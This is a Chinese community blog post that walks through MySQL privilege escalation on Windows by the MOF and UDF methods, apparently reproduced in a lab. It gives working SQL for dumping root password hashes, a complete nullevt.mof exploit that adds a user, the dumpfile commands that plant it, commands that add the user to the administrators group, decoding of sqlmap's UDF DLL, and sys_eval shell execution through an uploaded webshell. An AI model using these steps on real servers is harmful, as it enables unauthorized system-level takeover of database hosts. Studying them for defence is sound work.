MySQl提权 mof、udf过程详解

拈花倾城 发表于 2022/01/14 13:21:49 2022/01/14
【摘要】 系统提权之mysql的udf、mof提权过程详细复现

@TOC

〇、Mysql提权的必备条件

Mysql的服务没有降权,并且需要获取Mysql root账号密码
使用net user命令查看系统当前帐号,如果出现Mysql这类用户,则系统可能进行了降权

1、Mysql密码查询

1、root密码查询
# MySQL <= 5.6 版本  
select user,password from mysql.user where user='root';
# MySQL >= 5.7 版本  
select host,user,authentication_string from mysql.user;
将hash放入md5网站破解

2、利用ntfs特性创建文件夹

1、创建lib文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
2、创建plugin文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'

3、常用的sql基础查询命令

查看数据库路径  
select @@datadir;
查看插件的路径
show variables like '%plugins%';
查看Mysql的安装路径
select @@basedir;
查看当前操作系统多少位
select @@version_compile_os;

一、mof提权

0、环境搭建

1、win2k3 搭建

在这里插入图片描述

2、添加用户

net user mark 123456 /add

3、确认网络连接:ping、访问

4、在mark账户下搭建phpstudy

5、处理secure_file_prive

SHOW VARIABLES LIKE "secure_file_priv";

在这里插入图片描述

(1)NULL,表示禁止

(2)如果value值有文件夹目录,则表示只允许该目录下文件

(3)如果为空,则表示不限制目录

去掉导入的目录限制。可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面

修改完配置文件后,重启mysql生效。

重启后:

关闭:service mysqld stop

启动:service mysqld start
在这里插入图片描述

1、原理

​ 利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行,以系统权限执行。

2、条件

​ 1、windows 03及以下版本
​ 2、mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof目录

​ 3、secure-file-priv参数不为null

​ 4、在之前必须没有admin用户才能成功

3、开始

确认当前权限

net user
whoami

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jEPK4ndV-1639674966368)(C:\Users\Administrator\Desktop\拈花倾城\mysql\Annotation 2021-12-12 053441.png)]

MOF文件

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

公开的nullevt.mof利用代码

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 instance of __EventFilter as $EventFilter
 3 {
 4 EventNamespace = "Root\\Cimv2";
 5 Name = "filtP2";
 6 Query = "Select * From __InstanceModificationEvent "
 7 "Where TargetInstance Isa \"Win32_LocalTime\" "
 8 "And TargetInstance.Second = 5";
 9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

mof文件利用

将上面的脚本上传到有读写权限的目录下,因为mof目录直接无法写入

这里我上传到了

C:/phpStudy/WWW/222.mof

我们使用sql语句将文件导入到

C:/windows/system32/wbem/mof/nullevt.mof

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

payload:

select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Pa6ncZHe-1639674966369)(C:\Users\Administrator\Desktop\拈花倾城\mysql\Annotation 2021-12-12 060428.png)]

验证提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5ZX0CnDL-1639674966369)(C:\Users\Administrator\Desktop\拈花倾城\mysql\Snipaste_2021-12-12_06-27-34.png)]

可以看到添加了hpdoger用户,剩下的操作就是用户命令处,换成加入administrator语句即可

net localgroup administrators hpdoger /add

4、删号

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重新启动服务即可

二、UDF提权

0、原理

UDF:用户自定义函数、通过添加新函数、对mysql进行功能扩充

官方定义:UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用利用MYSQL的自定义函数功能将Mysql账号转换为system权限。

假设我们的udf文件名是udf.dll,存放在mysql安装目录的lib/plugin(mysql>5.1,该目录是不存在的)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pvq1w3R4-1639674966371)(C:\Users\Administrator\Desktop\拈花倾城\mysql\lib目录.png)]

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。

看一下官方文档中的语法:

CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

上述语法含有两个变量:

1、function_name(函数名),引入的是sys_eval函数

2、共享函数包shared_library_name,udf.dll

当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

udf:sqlmap/data/udf/mysql

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令

python cloak.py -d -i C:\Users\BJernsen\Desktop\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-we0H3U7O-1639674966371)(C:\Users\Administrator\Desktop\拈花倾城\mysql\sqlmap.png)]

sqlmap中的udf文件提供的函数

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

或者是在kali中/usr/share/metasploit-framework/data/exploits/mysql/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IGYaFUPx-1639674966371)(C:\Users\Administrator\Desktop\拈花倾城\mysql\kalidll.png)]

1、步骤

1、确定 secure_file_priv 的值

只有空值才可以提权

2、查看plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
当plugin的值为空时不可提权
当plugin的值为mysql_native_password可通过账户连接提权

3、查看系统架构以及plugin目录

show variables like '%compile%';    //查看主机版本及框架
show variables like '%plugin%';     //查看plugin目录(udf.php中都有)

第三步就是为了看看我们需要32还是64的dll

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ed8pk0Ur-1639674966372)(C:\Users\Administrator\Desktop\拈花倾城\mysql\plugin目录.png)]

4、将dll文件写入plugin目录,并且创建函数

CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

5、系统命令

在udf.dll文件写入plugin目录后,之后就可以使用sys_eval函数了

select * from mysql.func where name = 'sys_eval' //
select sys_eval('whoami')

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kwkqk9FS-1639674966373)(C:\Users\Administrator\Desktop\拈花倾城\mysql\qqwe.png)]

如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入。

使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

缺点:

​ 1、仍然需要创建路径

​ 2、回显只有0/1

​ 3、需要手动创建函数

2、实操

下载udf.php的链接

靶机环境:Windows Server 2003 、php 5.2.17 、 mysql 5.5.53

这里我们已经通过上传一句话木马拿到网站的shell了,并且得到了网站数据库的用户名和密码都是root。但是因为获得的系统用户权限太低,无法创建新用户。而且也不能使用其他提权等手段。所以,我们现在要做的就是使用UDF进行提权。

首先,我们把udf.php 两个文件上传到网站服务器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kYzEezyL-1639674966374)(C:\Users\Administrator\Desktop\拈花倾城\mysql\56.png)]

先创建目录点击Create PliuginDir

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w4ZBpAzG-1639674966375)(C:\Users\Administrator\Desktop\拈花倾城\mysql\Annotation 2021-12-13 073919.png)]

然后我们点击 Dump UDF ,提示Dump DLL Success !

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zHyfEJou-1639674966376)(C:\Users\Administrator\Desktop\拈花倾城\mysql\success1.png)]

然后我们点击 Create Function,下面就会有 select shell(‘cmd’,‘whoami’) ,然后我们点击 Mysql_query ,下面就会有whoami命令的执行结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JwfQc95I-1639674966377)(C:\Users\Administrator\Desktop\拈花倾城\mysql\bjernsen.png)]

我们可以把命令换成 net user hack 123 /add ,新建一个用户,可以看到成功了!然后我们接下来吧hack用户添加到administrators管理员组内,就可以远程登录了!
在这里插入图片描述

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区),文章链接,文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件至:cloudbbs@huaweicloud.com进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容。
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。